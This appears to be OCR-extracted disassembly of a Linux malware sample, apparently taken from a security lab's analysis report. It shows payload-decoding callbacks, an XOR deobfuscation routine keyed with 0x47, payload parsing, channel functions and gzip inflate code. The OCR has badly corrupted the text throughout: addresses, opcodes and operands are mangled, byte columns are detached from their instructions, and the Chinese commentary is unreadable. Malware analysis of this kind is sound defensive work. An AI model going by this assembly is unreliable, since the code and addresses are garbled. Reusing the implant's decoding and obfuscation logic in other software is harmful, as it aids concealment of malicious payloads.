LOAD :0804A2E8 decode_callback_t1 proc near ; DATA XREF: main+4B8lo
LOAD:8884A2EQ

LOAD:@804A2E8 aa = dword ptr -28h

LOAD: @804A2E8 sysinfo = dword ptr 8

LOAD :0804A2E8 payload = dword ptr @Ch

LOAD:8884A2EQ i3ge = dword ptr 18h

LOAD:B8804A2EQ tw = dword ptr 14h

LOAD: @8B4A2EQ bb = dword ptr 18h

LOAD :@804A2E8 cc = dword ptr 1Ch

LOAD : @804A2E8

LOAD:@80B4A2E® 55 push ebp

LOAD:@804A2E1 89 ES mov ebp, esp

LOAD:8884A2E3 56 push esi

LOAD:@804A2E4 53 push ebx

LOAD:@804A2E5 83 EC 3@ sub esp, 36h

LOAD:@804A2ES 8B 45 18 mov eax, [ebp+i386]

LOAD:@804A2EB 8B 55 14 mov edx, [ebp+tw]

LOAD: @804A2EE 8D 75 D8 lea esi, [ebp+aal

LOAD:@804A2F1 8B 5D OC mov ebx, [ebp+payload]

LOAD:@804A2F4 C7 45 F4 FF FF FF FF mov [ebp+aa+1Ch], @FFFFFFFFh

LOAD:@804A2FB 89 45 E@ mov [ebp+aa+8], eax

LOAD:@804A2FE 8B 45 18 mov eax, [ebp+bb]

LOAD:@804A301 89 55 E4 mov [ebp+aa+8Ch], edx

LOAD:@804A304 8B 55 1C mov edx, [ebp+cc]

LOAD:@804A307 C7 45 FO 00 e 00 0o mov [ebp+aa+18h], @

LOAD:@804A30E 89 74 24 @4 mov [esp+d], esi ; val

LOAD:8804A312 89 45 DB mov [ebp+aa], eax

LOAD:@804A315 89 55 DC mov [ebp+aa+a], edx

LOAD:@884A318 89 1C 24 mov [esp], ebx ; buf

LOAD:@804A31B E8 30 S5A 20 e call serial_bind_exdleb34ee_decode

LOAD:88@4A320 3D 03 @1 eo ee cmp eax, 1@3h

LOAD:@804A325 74 21 jz short loc_8@4A348

LOAD:@884A327

LOAD:@8084A327 loc_884A327: ; CODE XREF: decode_callback_t1+724j
LOAD: 88847327 ; decode_callback_t1+891j ...
LOAD:@884A327 8B 45 F4 mov eax, [ebp+aa+lCh]

LOAD:@804A32A 8D 50 FF lea edx, [eax-1]

LOAD:@884A32D 83 FA FD cmp edx, BFFFFFFFDh

LOAD:@804A330 77 @8 ja short loc_804A33A

LOAD:@804A332 89 04 24 mov [esp], eax

LOAD :8804A335 E8 56 65 81 @89 call serial_bind_ex44611a64_free

LOAD:@804A33A

LOAD : @804A33A loc_8@4A33A: ; CODE XREF: decode_callback_t1+58Tj
LOAD:@804A33A 83 C4 3@ add esp, 36h

LOAD:@8e4A33D 31 Ce xor eax, eax

LOAD:@804A33F SB pop ebx

LOAD:@8e4A348 SE pop esi

LOAD:8804A341 5D pop ebp

LOAD:@884A342 C3 retn

LOAD:8804A342 Fi R S e S e S S e R e e S e R I B e S B e S i e e e i S S
LOAD:e804A343 9@ BD 74 26 0@ align 8

LOAD:8884A348

LOAD:8804A348 loc_884A348: ; CODE XREF: decode_callback_t1+45%]
LOAD:@884A348 ©F B6 45 EB movzx eax, byte ptr [ebp+aa+l8h]
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LOAD:08@4A390 decode_callback_t2 proc near ; DATA XREF: main+D1Blo
LOAD:@804A390

LOAD:08@4A390 val = dword ptr -38h

LOAD:0884A390 var_34 = dword ptr -34h

LOAD:0884A390 var_3e = dword ptr -3gh

LOAD:@884A390 var_2C = dword ptr -2Ch

LOAD:0884A398 var_28 = byte ptr -28h

LOAD: 98044390 bb = dword ptr -28h

LOAD:0884A390 aa = dword ptr -1Ch

LOAD:0884A390 var_C = dword ptr -ech

LOAD:8884A39@ var_8 = dword ptr -8

LOAD:0884A398 var_4 = dword ptr -4

LOAD:@804A390 cc = dword ptr 8

LOAD:0884A390 dd = dword ptr @ch

LOAD:0884A390 arg_8 = dword ptr 18h

LOAD:@804A390 arg_C = dword ptr 14h

LOAD:@804A390 arg_1e = dword ptr 18h

LOAD:@804A390 arg_14 = dword ptr 1Ch

LOAD:@804A390

LOAD: 08044390 55 push ebp

LOAD:@804A391 89 ES mov ebp, esp

LOAD:@804A393 83 EC 48 sub esp, 48h

LOAD:9804A396 8B 45 18 mov eax, [ebp+arg_8]
LOAD:@884A399 8B 55 14 mov edx, [ebp+arg_C]
LOAD:©8@4A39C 89 SD F4 mov [ebp+var_C], ebx
LOAD:@804A39F 8B 5D @C mov ebx, [ebp+dd]

LOAD:@804A3A2 82 75 F& mov [ebp+var_g8], esi
LOAD:@804A3A5 8D 75 C8 lea esi, [ebp+val]

LOAD:@804A3A8 89 45 D@ mov [ebp+var_3@], eax
LOAD:2884A3AB 8B 45 18 mov eax, [ebp+arg_1@]
LOAD:©8@4A3AE 89 55 D4 mov [ebp+var_2C], edx
LOAD:©8@4A3B1 8B 55 1C mov edx, [ebp+arg_14]
LOAD:©8@4A3B4 89 7D FC mov [ebp+var_4], edi
LOAD:08@4A3B7 BF @D @0 @@ ee mov edi, @bh

LOAD:@804A3BC C7 45 E4 FF FF FF FF mov [ebp+aa], @FFFFFFFFh
LOAD:©8@4A3C3 89 45 C8 mov [ebp+val], eax

LOAD:©8@4A3C6 89 55 CC mov [ebp+var_34], edx
LOAD:@804A3C9 C7 45 E© 80 00 @0 00 mov [ebp+bb], @

LOAD:@804A3D0 89 74 24 04 mov [esp+4], esi ; val
LOAD:08@4A3D4 89 1C 24 mov [esp], ebx ; buf |
LOAD:0©8@4A3D7 ES 74 59 6@ 680 call serial_bind_exdleb34ee_decode
LOAD:@804A3DC 3D @3 @1 ee ee cmp eax, 1@3h

LOAD:@BB4A3EL 74 25 jz short loc_8e4A408
LOAD:@804A3E3

LOAD:0884A3E3 loc_B884A3E3: ; CODE XREF: decode_callback_t2+854]
LOAD:08@4A3E3 ; decode_callback_t2+A@lj ...
LOAD:©8@4A3E3 8B 55 E4 mov edx, [ebp+aa]

LOAD:@8@4A3E6 8D 42 FF lea eax, [edx-1]

LOAD:@804A3E9 83 F8 FD cmp eax, @FFFFFFFDh
LOAD:@804A3EC 77 @8 ja short loc_B804A3F6
LOAD:08@4A3EE 89 14 24 mov [esp], edx

LOAD:©8@4A3F1 ES 9A 64 ©1 60 call serial_bind_6x44611a64_free
LOAD:@804A3F6

LOAD:0884A3F6 loc_B8@4A3F6: ; CODE XREF: decode_callback_t2+5CtTj
LOAD:@804A3F6 89 F8 mov eax, edi

LOAD:9804A3F8 8B 5D F4 mov ebx, [ebp+var_C]
LOAD:08@4A3FB 8B 75 F8 mov esi, [ebp+var_8]
LOAD:©8@4A3FE 8B 7D FC mov edi, [ebp+var_4]
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LOAD : 28048460
LOAD: 0804460
LOAD : 8B@4A4608
LOAD : @B@4A460
LOAD : 8B@4A4608
LOAD : 888484608
LOAD: 8808445608
LOAD : 9804A460
LOAD: @804A4560
LOAD : @884A460
LOAD : 8B@4A460
LOAD:@8084A460
LOAD : 8B84A460
LOAD : 98048460
LOAD : 8B804A460
LOAD: 28044450
LOAD : @804A460
LOAD : 8B@4A460
LOAD: @B@4A461
LOAD : 8804463
LOAD : 28048464
LOAD: @B04A465
LOAD : 8B@4A466
LOAD : @B8@4RA469
LOAD : 8BB4A46C
LOAD : 8B8@4846F
LOAD : 88848472
LOAD : 9804475
LOAD: 2804478
LOAD: @884A478
LOAD : @B@4RA4TE
LOAD: 880844482
LOAD : 8BB4A485
LOAD : 98042488
LOAD : 9B804A48B
LOAD : @804A48E
LOAD : @B@4RA495
LOAD : @8@84A49C
LOAD : @B@4A49F
LOAD : 8B@4A4A4
LOAD : 9B804A4AT
LOAD : 9BO4A4AE
LOAD : BB@4A483
LOAD : @B@4A4B5
LOAD : 8B84A4B5
LOAD : 88844485
LOAD : 8884485
LOAD : 98042488
LOAD: 2B04A4BB
LOAD : @BB4A4BE
LOAD : @B@4RA4CH
LOAD : 8B@4A4CH
LOAD : 8B@4A4C4
LOAD : 98084A4CA
LOAD : 9B804A4CC
LOAD : @804A4CE
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55

8B
8D
83
eF

8B
85
74
31

E5

EC
55
7D
5D
75
45
55
55
54
55
45
5D
75
45
45
3c

55
45
a3
59

45
50
FA
86

a5
F6
2B
DB

ac
14

18
1C
1e

c8
24
ce

c8
cc
E4
EB
24
58
ce
ca
e1

E4
FF
FD

FF
ea

ee

oD
08

08

4B

FF FF FF
28 ee ae

28

00 60 oo

0 ee

@6 68

decode_callback_t3 proc near

var_48
var_3C
val
var_34
var_38
var_2C
var_28
var_2e
var_1C
buf
arg_8
arg_C
arg_10
arg_14

loc_864A4B5:

loc_864A4C4:

; DATA XREF: main+B1l5lo

; val

; buf

serial_bind_éxdleb34ee_decode

; CODE XREF: decode_callback_t3+CFij
; decode_callback_t3+1331j

; CODE XREF: decode_callback_t3+1271j

= dword ptr -48h

= dword ptr -3ch

= dword ptr -38h

= dword ptr -34h

= dword ptr -3gh

= dword ptr -2ch

= byte ptr -28h

= dword ptr -20h

= dword ptr -1Ch

= dword ptr @ch

= dword ptr 18h

= dword ptr 14h

= dword ptr 18h

= dword ptr 1Ch

push ebp

mov ebp, esp

push edi

push esi

push ebx

sub esp, 4ch

mov edx, [ebp+arg_C]
mov edi, [ebp+buf]
mov ebx, [ebp+arg_18]
mov esi, [ebp+arg_14]
mov eax, [ebp+arg_8]
mov [ebp+var_2C], edx
lea edx, [ebp+val]
mov [esp+4], edx

mov [ebp+var_48], edx
mov [ebp+var_30], eax
mov [ebp+val], ebx
mov [ebp+var_34], esi
mov [ebp+var_1C], @FFFFFFFFh
mov [ebp+var_20], @
mov [esp], edi

call

mov edx, [ebp+var_48]
mov [ebp+var_3C], @Dh
cmp eax, 103h

iz short loc_804ASeE
mov eax, [ebp+var_iC]
lea edx, [eax-1]

cmp edx, @FFFFFFFDh
jbe loc_B@4AS78

MoV esi, ds:g_section_count@
test esi, esi

jz short loc_804A4F9
xor ebx, ebx
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LOAD: @8@4A5CO

LOAD: @8@4A5CO

LOAD: @8@4A5CO

LOAD: @8@4A5CO

LOAD: @8@4A5CO

LOAD: @8@4A5CO

LOAD: @8@4A5CO

LOAD: 8884A5Ce

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©884A5C8

LOAD:©8884A5C8

LOAD: @8@4A5CO

LOAD: @8@4A5CO

LOAD: @8@84A5C8 55

LOAD:@8@84A5C1 89 ES5

LOAD: @8@4A5C3 57

LOAD:@8@84A5C4 BF @D ee ee ee

LOAD: @8@4A5C9 56

LOAD: @8@4A5CA 53

LOAD:@884A5CB 83 EC 3C
LOAD:@884ASCE 8B 45 1@
LOAD:@884A5D1 8B 55 14
LOAD:@884A5D4 8D 75 C8
LOAD:@884A5D7 8B 5D BC
LOAD:@8@4A5DA C7 45 E4 FF FF FF FF
LOAD:@884ASEL 89 45 D@

LOAD: @8@4A5E4 8B 45 18

LOAD: @8@4A5E7 89 55 D4

LOAD: @8@4A5EA 8B 55 1C
LOAD:©8@4A5ED C7 45 E@ @0 80 o8 ee
LOAD:@8@84A5F4 89 74 24 @4
LOAD: @8@4A5F8 89 45 (8
LOAD: @8@4A5FB 89 55 CC
LOAD:@8@4A5FE 89 1C 24
LOAD:@884A601 EB 4A 57 @@
LOAD:@884A606 3D €3 91 ee
LOAD:@884A60B 74 58
LOAD:©884A68D
LOAD:©884A60D
LOAD:©884A68D

LOAD: @8@4A68D 8B 45 E4
LOAD:@8e4A61@ 8D 58 FF
LOAD:@8@4A613 83 FA FD
LOAD:©804A616 ©F 86 8C @0 @0 @8
LOAD: @884A61C

LOAD: @8@4A61C

LOAD:©804A61C Al @4 4B @6 @8

LOAD: @8@4A621 85 C@

LOAD:@884A623 74 2C

LOAD:@884A625 31 DB

LOAD: 08844627 98

LOAD:0884A628

LOAD:0884A628

LOAD:©804A628 8B 14 DD 2@ 4D @6 @8
LOAD:@884A62F B85 D2

88
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; int __cdecl decode_callback_t4(int, int buf, int, int, int, int)

decode_callback_t4 proc near ; DATA XREF: main+Al@lo
val = dword ptr -38h
var_34 = dword ptr -34h
var_3e = dword ptr -3eh
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_2e = dword ptr -2eh
var_1C = dword ptr -1Ch
arg_® = dword ptr 8
buf = dword ptr @cCh
arg_8 = dword ptr 1eh
arg_C = dword ptr 14h
arg_1e = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
mov edi, @Dh
push esi
push ebx
sub esp, 3Ch
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_C]
lea esi, [ebp+val]
mov ebx, [ebp+buf]
mov [ebp+var_1C], @FFFFFFFFh
mov [ebp+var_38], eax
mov eax, [ebp+arg_10]
mov [ebp+var_2C], edx
mov edx, [ebp+arg_14]
mov [ebp+var_208], ©
mov [esp+4], esi ; val
mov [ebp+val], eax
mov [ebp+var_34], edx
mov [esp], ebx ; buf
call serial_bind_exdleb34ee_decode
cmp eax, 1@3h
jz short loc_8@4A665
loc_ge4aceD: ; CODE XREF: decode_callback_t4+C@lj
; decode_callback_t4+E@lj
mov eax, [ebp+var_iC]
lea edx, [eax-1]
cmp edx, BFFFFFFFDh
jbe loc_864A6A8
loc_884A61C: ; CODE XREF: decode_callback_t4+F7lj
mov eax, ds:g_section_countl
test eax, eax
jz short loc_8@4A651
xor ebx, ebx
nop
loc_Be4A628: ; CODE XREF: decode_callback_t4+8Flj
mov edx, ds:g_section_mapl.field_e.field_o[ebx*8]
test edx, edx
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BRh

OAD:0@805FC60
0AD:@8085FCel
OAD:@885FC60
0OAD:8805FC60
OAD:@805FC60
0AD:@8085FCe0
OAD:@8B5FC68
OAD:@805FCeR
0AD:B@805FCeR
0AD:@8085FC61
0AD:@80B5FC63
OAD:@805FCe4
0AD:88085FC67
OAD:@8B5FC6B
OAD:88085FCeB
0AD:B8B5FC6C
0OAD: @805FC6E
0AD:88085FC78
OAD:@885FC72
OAD:88085FC74
OAD:@805FC78
OAD:@885FC78
OAD:@885FC78
OAD:@805FC7C
0AD:@8085FCTE
OAD:@885FC81
0OAD:B88B5FC83
OAD:@8085FC85
OAD:@885FC87
OAD:@8B5FC8A
OAD:@805FC8D
0AD:B@805FC8F
OAD:@885FCo1
0AD:@8B5FC91
OAD:@805FCI1
0AD:88B85FC93
OAD: @8B5FC94
OAD:@805FC95
0OAD:8885FC96
0OAD:@805FC97
0AD:B8B5FC97
OAD:@885FC97

IRFLEELNERBRAE |

eF

83
31
el
31

83
L
77

89
58
SE
5F
5D
Cc3

ES

70

Fe

ec

a8

26 08

e4 16

47

16
el

; int __cdecl serial_bind_@x4743c911_xor(char *buf, int len)
serial_bind_©x4743c911_xor proc near ; CODE XREF: serial_bind_exdleb34ee_decode+136Tp

; serial_bwvp+37Tp

; DATA XREF:

buf = dword ptr 8
len = dword ptr @ch

push ebp

mov ebp, esp

push edi

mov edi, [ebp+len]

push esi

mov esi, [ebp+buf]

push ebx

test edi, edi

9z short loc_B885FC91

xor ebx, ebx

xor edx, edx

lea esi, [esi+@]
loc_8@5FC78: ; CODE XREF: serial_bind_ex4743c911_xor+2Flj

movzx eax, byte ptr [esi+edx]

mov ecx, eax

xor ecx, 47h ; xor Bx47

xor ecx, ebx

add ebx, eax

xor ecx, edx

mov [esi+edx], cl

add edx, 1

cmp edi, edx

ja short loc_8@5FC78
loc_8e5FCol: ; CODE XREF: serial bind @x4743c911 xor+ETj

mov eax, esi

pop ebx

pop esi

pop edi

pop ebp

retn

serial_bind_8x4743c911_xor endp
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W &7 (payload ) BBEZRE

SNRTE R AR mainERELEARAE | #f (payload ) BMIRER—MEXNERIIEMNARE |
BARE T EZ IR,

BRESFONOE, -

*|LOAD: @824B706 89 4C 24 @8 mov [esp+8], ecx ; payload_info
LOAD:0804B70A 89 44 24 @4 mov [esp+4], eax ; map_size
*|LOAD:@8@4B70E 8B 84 24 D8 10 @0 @0 mov eax, [esp+1@FBh+ref_map_addr]
*|LOAD:©8@4B715 89 @4 24 mov [esp], eax 3 map_addr

LOAD:P804B718 ES 23 45 @0 88 call serial_bind_@x97413c51_getpayload ; iKEE{&payload
*|LOAD:88@4B71D B85 (@ test eax, eax

LOAD:@804B71F OF 84 E@ 80 80 00 jz jmp_8B4BBOS

“LOAD:8804B725 C7 44 24 44 04 @0 60 00 mov [esp+1@F@h+payload], 4

LOAD:@804B72D BF @4 @ 20 ee mov edi, 4

“LOAD:9804B732 (6 44 24 34 0@ mov byte ptr [esp+l1@F@h+ref_payload_addr_], @
“LOAD:@8@4B737 C6 44 24 2B 1C mov [esp+18F@h+var_18C5], 1Ch

LOAD:@804B73C C6 44 24 24 82 mov byte ptr [esp+l@F@h+vv_map_size], 2
LOAD:088@4B741 C7 44 24 48 B8 00 08 @0 mov [esp+1@F@h+payload_struct], @
“|LOAD:B8@4B749 (6 44 24 23 81 mov [esp+18FBh+var_18CD], 1

*|LOAD:@8@4B74E E9 76 FA FF FF jmp ret_error

LOAD:@804B753 HEE L e e e L
LOAD:08@4B753

LOAD: @804B753 jmp_8e4B753: ; CODE XREF: main+6621j
LOAD:@804B753 ©F 85 23 @1 08 @0 jnz loc_804B87C

LOAD:B8024B759 - B e et et S e e e e e e
LOAD:8824B759 I

LOAD:@804B759 e et et T Bt s £ At
*LOAD:88@4B759 BD 84 24 D4 10 @@ 0@ lea eax, [esp+18FBh+ref _map_size]
*LOAD:98@4B760 89 44 24 @8 mov [esp+8], eax ; map_size

LOAD:0804B764 8D 84 24 DB 1@ 0@ 00 lea eax, [esp+10FBh+ref_map_addr]

“LOAD: 9804B76B 89 44 24 04 mov [esp+4], eax ; map_addr

“ LOAD:8804B76F BB 06 mov eax, [esi]

LOAD:@804B771 89 04 24 mov [esp], eax ; file_path

*|LOAD: 88048774 E8 87 F6 FF FF call serial mapFile ; BRETICH

*|LOAD:@8@4B779 B5 (@ test eax, eax

*|LOAD:@B@4B77B OF 84 73 FF FF FF iz jmp_864B6F4

LOAD:0804B781 - et B e e et T e e T e
LOAD:©804B781 i

LOAD:@804B781 i

*LDAD:9804B781 E8 SA OD 00 00 call serial_get_name

LOAD:@804B786 ©F B6 4C 24 31 movzx ecx, [esp+1@FBh+arge_flag]

*|LOAD: 88@4B78B 31 DB xor ebx, ebx

*|LOAD:8884B78D C6 44 24 4F @1 mov [esp+18FBh+var_10A1], 1

‘|LoAD:©804B792 BF 03 0@ 80 00 mov edi, 3

*LOAD: @8@4B797 C7 44 24 44 93 00 00 @0 mov [esp+1@FBh+payload], 3

“LOAD:0804B79F Cé 44 24 34 0@ mov byte ptr [esp+l10F@h+ref_payload_addr_], @
*LOAD:08@4B7A4 83 E1 @1 and ecx, 1

“ILOAD:8804B7A7 B8 4C 24 43 mov [esp+43h], cl

*LOAD:©8@4B7AB Cé 44 24 2B BC mov [esp+18F@h+var_18C5], eCh

LOAD:B8804B7B0 C6 44 24 24 82 mov byte ptr [esp+18F@h+vv_map_size], 2
*|LOAD:88@4B7B5 C7 44 24 4B 90 00 @0 00 mov [esp+1@F@h+payload_struct], @
*|LOAD:08@4B7BD E9 AF FB FF FF jmp loc_804B371

LOAD: 984B7C2 ORI - e SN SN, OSSR ———
LOAD: @804B7C2

LOAD:©8@4B7C2 loc_8@4B7C2: ; CODE XREF: main+64Btj
“|LOAD:8884B7C2 E8 89 F6 8@ 0@ call serial_bind_exb367cdee_channel
*|LOAD:8804B7CY7 B85 C@ test eax, eax

*|LOAD:@804B7C9 @F 84 DB 20 B8 28 jz Jmp_804B8AA
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FENTIRAR

LOAD: @804B7E1
LOAD: @864B7E1
LOAD: @804B7E1
LOAD: 8864B7E1
LOAD: @804B7EE
LOAD: @8@4B7EB
LOAD : @804B7F3
LOAD: @804B7FB
LOAD : eBB4BE0E
LOAD: e884B885
LOAD: 88848885
LOAD: e804B8@5
LOAD: 88048805
LOAD : e884B80C
LOAD: 25048813
LOAD : 28048817
LOAD: @884B818
LOAD : @804B81F
LOAD: e804B822
LOAD : 88048827
LOAD: @804B829
LOAD: 88048820
LOAD : @804B833
LOAD: 28048838
LOAD : @884B83E
LOAD: @884B842
LOAD : 8864B846
LOAD: @804B84A
LOAD : 88048840
LOAD: @804B852
LOAD : 28048854
LOAD : @804B856
LOAD : 2804B85E
LOAD : 88B4B863
LOAD: 88048868
LOAD : 88048860
LOAD: @804B872
LOAD: 88048877
LOAD : @804B87C
LOAD: @884B87C
LOAD : @804B87C
LOAD: @884B87C
LOAD : 8884B884
LOAD: ©804B889
LOAD: 8864B88E
LOAD: 28048893
LOAD: 28048898
LOAD : e804B8AR
LOAD : @304B8A5
LOAD : 2884BBAA
LOAD: @884B8AA
LOAD : 8884BBAA
LOAD: @804B8AA
LOAD : 8804B8AE
LOAD: @804B8B1
LOAD: 28048886
LOAD : e804B8B8
LOAD: 2804B8BE

e
BF
7
7
cé

2B
8B
88
89

89
E8
a5
89
aF
83
BaF
8B
a8
89
89
E8
85
74
c7
BF
6
6
e
6
ES

C7
BF
6
Cé
6
7
Ce
E9

8B
89
E8
85
aF
Lo

SEERBENRECBRLEARE

S8R

REF

SEEERESE SRRER

EESERE

24

24
24
24
F9

24
24
24
24
24
24
39

24
41
24

24
24
24
24

24

24
24
24
24
FS

24

24
24
24
24
24
F9

24
24
F6

&1
24

24

38
48
23
FF

48
o1

8 REE8E

REa8%

23

a4

28
24
a8
23
FF

Eg 8

28888

16
18

888

o1
19
83
o1
FF

a3

TE8s88s

loc_804B7E1: ; CODE XREF: main+8C@lj
; main+95Fij ...
mov byte ptr [esp+18F@h+vv_map_size], 1
mov edi, 1eh
oe 6@ oo mov [esp+1@F@h+var_1e88], @
ee 22 ee mov [esp+1eFeh+payload_struct], @
mov [esp+18Fahsvar_18cD], 1
Jjmp ret_error
jmp_864B865: ; CODE XREF: main+70FTj
ee ee mov eax, [esp+1@FBh+ref_payload]
ee ee mov edx, [esp+l1@Feh+ref_map_addr]
mov ecx, [esp+l@Feh+payload]
mov [esp+1eFeh+ref_payload_addr_], eax
mov [esps18Fahsvy_map_size], edx
mov [esp], ecx ; payload
call serial_bind_ex278dec7a_parsePayload ; M#Tpayload#fizt
test eax, eax
mov [esp+18F@h+payload_struct], eax
e jz loc_80648974
cmp [esp+1eFeh+var_1eB8], @
ee jz jmp_8@4B8E1
mov eax, [esp+l@Feh+var_10B8]
mov edx, [esp+1@FBh+payload_struct]
mov [esp+4], eax
mov [esp], edx
call serial_bind_8x3955ced4_
test eax, eax
jz short loc_8@4B80DS
22 o8 e mov [esp+1@F@h+payload], &
mov edi, &
mov byte ptr [esp+l@F@h+ref_payload_addr_], 1
mov [esp+18F@h+var_1ecs], 1%h
mov byte ptr [esp+18F@h+vv_map_size], 3
mov [esp+18F@h+var_18CD], 1
imp ret_error
loc_8@4B87C: ; CODE XREF: main:jmp_8e4B753ty
o2 08 oo mov [esp+18Fah+payload], 3
mov edi, 3
mov byte ptr [esp+l@F@h+ref_payload_addr_], @
mov [esp+i@F@h+var_18C5], @
mov byte ptr [esp+l@FBh+vv_map_size], 2
ee 8¢ ee mov [esp+18F@h+payload_struct], @
mov [esp+1@Feh+var_1ecD], 1
Jmp ret_error
jmp_884B8AA: ; CODE XREF: main+7B91j
mov eax, [esp+2Ch]
mov [esp], eax ; pid
call serial_bind_©xbde@33b3_channel
test eax, eax
ee jz loc_8e4B93F
oe 08 oo mov [esp+1@F@h+payload], 16h
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linux_gzip huft free

linux gzip huft build

linux _gzip fill buf

linux _gzip inflate codes
linux_gzip inflate dynamic
linux gzip inflate fixed
linux gzip

Ny
.
.

linux_gzipRiEq

LOAD: 88057170 55

LOAD:@8057171 31 D2

LOAD:@80@57173 89 ES

LOAD: 08057175 57

LOAD:08057176 BF ©1 ee ee oo
LOAD:@805717B 56

LOAD:@805717C BE 1F @@ ee ee
LOAD:©8057181 53

LOAD:©8057182 83 EC 5C

LOAD:08057185 8B 5D eC

LOAD: 88057188 8B 45 88

LOAD:©805718B C7 ©5 3@ S5A @6 @8 @0 e
LOAD: 8057195 C7 ©5 28 S5A @6 ©8 00 °e
LOAD:©8085719F C7 @5 3C 5A ©6 98 00 ©e
LOAD:080571A9 A3 20 SA @6 08
LOAD:880571AE 31 Ce

LOAD:@80571B& C7 B85 38 SA @6 68 00 ee
LOAD:©80571BA C7 ©5 4@ S5A @6 08 00 o0
LOAD:©808571C4 C7 @5 44 5A 06 98 00 ©e
LOAD:@80571CE 89 1D 24 5A @6 @8
LOAD:©880571D4 89 5D E4

LOAD:@88571D7 9@

LOAD:©80571D8

LOAD:©80571D8

LOAD:@80571D8 89 F1

LOAD:@80571DA 89 FB

LOAD:@8@571DC 2B BC 95 8@ 23 @6 B8
LOAD:©80571E3 83 C2 @1

LOAD:@80571E6 D3 E3

LOAD:@80571E8 @9 D8

LOAD:@80571EA 83 FA ©E

LOAD:@80571ED 75 E9

LOAD:©80571EF 8B 5D E4

LOAD:©80571F2 BF @1 @@ @0 0@

ee

ee

ee

e
ee

e

22}

ee

00
ee

LOAD;©80571F7 C7 @5 6@ 5A 06 @8 00 00 @0 ©e

LOAD: 8057201 8D B4 26 @0 0@ @0 00
LOAD:@8057208

LOAD:©8057208

LOAD:98057208 89 F9

LOAD:@805720A 31 D2

LOAD:@e8e572eC 86 CD el

IERFLRR/ELRERIFERAE | www.pangulab.cn

loc_8@57108:

loc_8057208:

sub
add
shl
or

cmp
jnz
mov

mov
lea

xor
or

ebp

edx, edx

ebp, esp

edi

edi, 1

esi

esi, 1Fh

ebx

esp, SCh

ebx, [ebp+dst_len]
eax, [ebp+dst_buf]
ds:dword_8865A38, @
ds:g_gzip_key, @
ds:dword_8@65A3C, @
ds:dword_8065A208, eax
eax, eax
ds:dword_8@65A38,
ds:dword_8@65A40,
ds:dword_8es5A44,
ds:dword_8065A24, ebx
[ebp+var_1C], ebx

e ®

; CODE XREF: linux_gzip+7D!j
ecx, esi
ebx, edi
ecx, ds:dword_8062388[edx*4]
edx, 1
ebx, cl
eax, ebx
edx, ©@Eh
short loc_88571D8
ebx, [ebp+var_1C]
edi, 1
ds:dword_8065A60, ©
esi, [esi+d]

; CODE XREF: linux_gzip+D8ij
ecx, edi
edx, edx
ch. 1
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linux_gzip_inflate_fixed &% :

LOAD:
:@8@56FEL
:@8R56FE3
:BBBSEFES
1@BOSEFEY
:BEBSEFEA
:@BRSEFED
:@8a56FF4
:@8R5EFFY
:BBASEFFB
:BBASEFFD
188857283
LOAD:
LOAD:
LOAD:
LOAD:
LDAD:
LOAD:
LOAD:
[LOAD :
:@sasTela
:@egesTeze
:egesreze
:@sasye2y
1@8857e2A
:@8@5Te2F
:@8as57e3l
:@gesTe3s
:@8esTe3s
:@Ea5Te3R
H-CEEplE
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
LOAD:
:@8as57esF
:@8a57es1
:@8esTess
:@BA5TREY
1@8857e6lh
:egesTere
:@8857e7S
;28257079
:@8es7ers
:egesres2
:@Ba5TeBA
1@ges7esl
:@8@57e9%6
LOAD:
LOAD:
1 nan.

PBR56FER

28857085
28857088
28857008
@8es7008
esas7ear
@ses7e12
@ses7e1y
BBB57819

B8asT7e42
eaas7eaT
28857249
@8@57e58
@8e57e58
eBasyesa
@8e57e57
PBB57E54

0BR57098
08257084
ARAETALA

55
89
56
BE
53
83
cr
E8
85
83
aF
31
8D

7
83
£l
75
8D

o)
83

75
8D

c7
83
30
75
8D

aa

38

B3
a1
EC

24
Fa

24

EC
24
24
EE

2

28 82

B82S

80 28
24 @6 88
86 a8

linux_gzip_inflate_dynamiciRz{

LUAL L BBUSBAY 55
LOAD:BBBS6A91 B9
LOAD:@BB56A93 83
LOAD: 080856496 C7
LOAD: 98056450 89
LOAD: 08056488 89
LOAD: 28856403 89
LOAD: BB56A0G6 E8
LOAD:@BB56A08 BB
LOAD: 28856481 BB
LOAD: 88856487 83
LOAD:BBBSEABA 89
LOAD:BBASBABC 77
LOAD:BBASEABE Al
LOAD: @BRB56AC3 BE
LOAD:@8056AC8 3B
LOAD: @8@56ACE OF
LOAD:980856AD4 8B
LOAD: 98856ADA OF
LOAD:98856ADE 89
LOAD: @BB56AER B3
LOAD:@BB5BAE3 B3
LOAD:@B856AEE A3
LOAD:BBBSEAER D3
LOAD:BBASEAED &9
LOAD: BBASGAEF

LOAD: @BRSEAEF

LOAD: @BB56AEF

LOAD:@80564F2 89
LOAD: 98856AF4 C1
LOAD:98856AF7 83
LOAD: 0BB56AFA 89
LOAD: @BASBAFD &9
LOAD: 28856608 77
LOAD: 28856682 AL
LOAD: 28856887 BE
LOAD:2BB56BAC 3B
LOAD:BBB56B12 B9
LOAD: 8856815 @F
LOAD: 28056818 5B
LOAD:@8056B1E 83
LOAD: 980856821 Al
LOAD: 98856826 OF
LOAD: 98856824 OF
LOAD:2BB56B2E 89

LOAD: @BO56B31 D3 E

LOAD: 88856833 @9
LOAD:8BB56836 5B
LOAD:8BO56839 23
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BD 4A

F8
E8
Fa
45
40
3F
8
a4
@5
45
83

c2

B6
B6
55

as
45
ce

26

FF

@6

s

88

13

-3

es
-1}

-]

es

lo¢_8@57008:

loc_8@57820:

loc_8@57638:

loc_8857850:

loc_BBSBAEF:

push
push

push
sub

call
test

jz

lea

add
cmp
inz
lea

mov
add
cmp
jnz
lea

add
cmp
jnz

FEFETY

ggeges

kot "
ZEEE
23 -

]
o =
El

=RERapERRt

3

H
3

ebp

ebp, esp

esi

esi, 3

ebx

asp, 38h

dword ptr [esp], 4geh
near ptr malloc_._
cax, eax

ebx, eax
loc_Bas7er3

eax, eax

esi, [esi+@]

; CODE XREF:

dword ptr [ebx+eax*a], &
eax, 1

eax, 96h

short loc_B8857888

esi, [esi+a]

; CODE XREF:

dword ptr [ebx+eax*s], 9
eax, 1

eax, 1@éh

short loc_B857@2e

esi, [esi+d]

; CODE XREF:

dword ptr [ebx+eax*a], 7
eax, 1

